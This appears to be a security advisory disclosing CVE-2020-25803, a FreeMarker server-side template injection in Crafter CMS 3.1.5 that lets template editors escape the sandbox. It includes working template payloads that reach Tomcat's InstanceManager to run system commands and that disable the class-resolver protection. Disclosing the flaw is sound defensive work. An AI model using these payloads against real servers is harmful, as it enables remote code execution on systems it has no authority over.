Summary

A user with privileges to edit a FreeMarker template may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running Crafter CMS.

Product

Crafter CMS

Tested Version

3.1.5

CVE

CVE-2020-25803

Details

Server-Side Template Injection

Even though Crafter CMS does a good job disabling insecure defaults so that the ?new built-in cannot be used since CVE-2018-19907 was fixed, it still exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

Deep inspection of the exposed objects’ object graph enables an attacker to get access to objects that allow them to instantiate arbitrary Java objects. In particular ${siteContext.servletContext} gives us access to the Servlet Context where interesting objects can be found. We can then list all Servlet Context attributes with:

<#list siteContext.servletContext.getAttributeNames() as item>
    <p>${item}</p>
</#list>

On a Tomcat server (used in official Crafter CMS Docker image), we get:

javax.servlet.context.tempdir
org.apache.catalina.resources
org.apache.tomcat.InstanceManager
org.apache.catalina.jsp_classpath
org.apache.logging.log4j.web.Log4jWebSupport.INSTANCE
org.apache.jasper.compiler.TldCache
org.apache.tomcat.JarScanner
org.springframework.web.servlet.FrameworkServlet.CONTEXT.Spring MVC Dispatcher Servlet
javax.servlet.context.orderedLibs
org.apache.logging.log4j.spi.LoggerContext.INSTANCE
org.springframework.web.context.support.ServletContextScope
org.springframework.web.context.WebApplicationContext.ROOT
javax.websocket.server.ServerContainer

The most interesting one is org.apache.tomcat.InstanceManager which enables us to instantiate arbitrary objects. Note that this class is available on e.g. Jetty as well and similar classes are available in other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage.

We can then try to run arbitrary Java code using a ScriptEngine:

${siteContext.servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')")}

Or we can use freemarker.template.utility.Execute instead:

${siteContext.servletContext.getAttribute('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute')("touch /tmp/pwned")}

siteContext also provides access to the FreeMarker configuration so it is possible to modify it to disable the sandbox:

<p><b>Disable TemplateClassResolver protection</b></p>
<#assign n=fc.setNewBuiltinClassResolver(fc.getDefaultConfiguration().getNewBuiltinClassResolver())>
<#attempt>
    <p>- ${"freemarker.template.utility.Execute"?new()("id")}</p>
<#recover>
    <p>- ${.error}</p>
</#attempt>

Impact

This issue may lead to Remote Code Execution.

Coordinated Disclosure Timeline

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include the GHSL-2020-042 in any communication regarding this issue.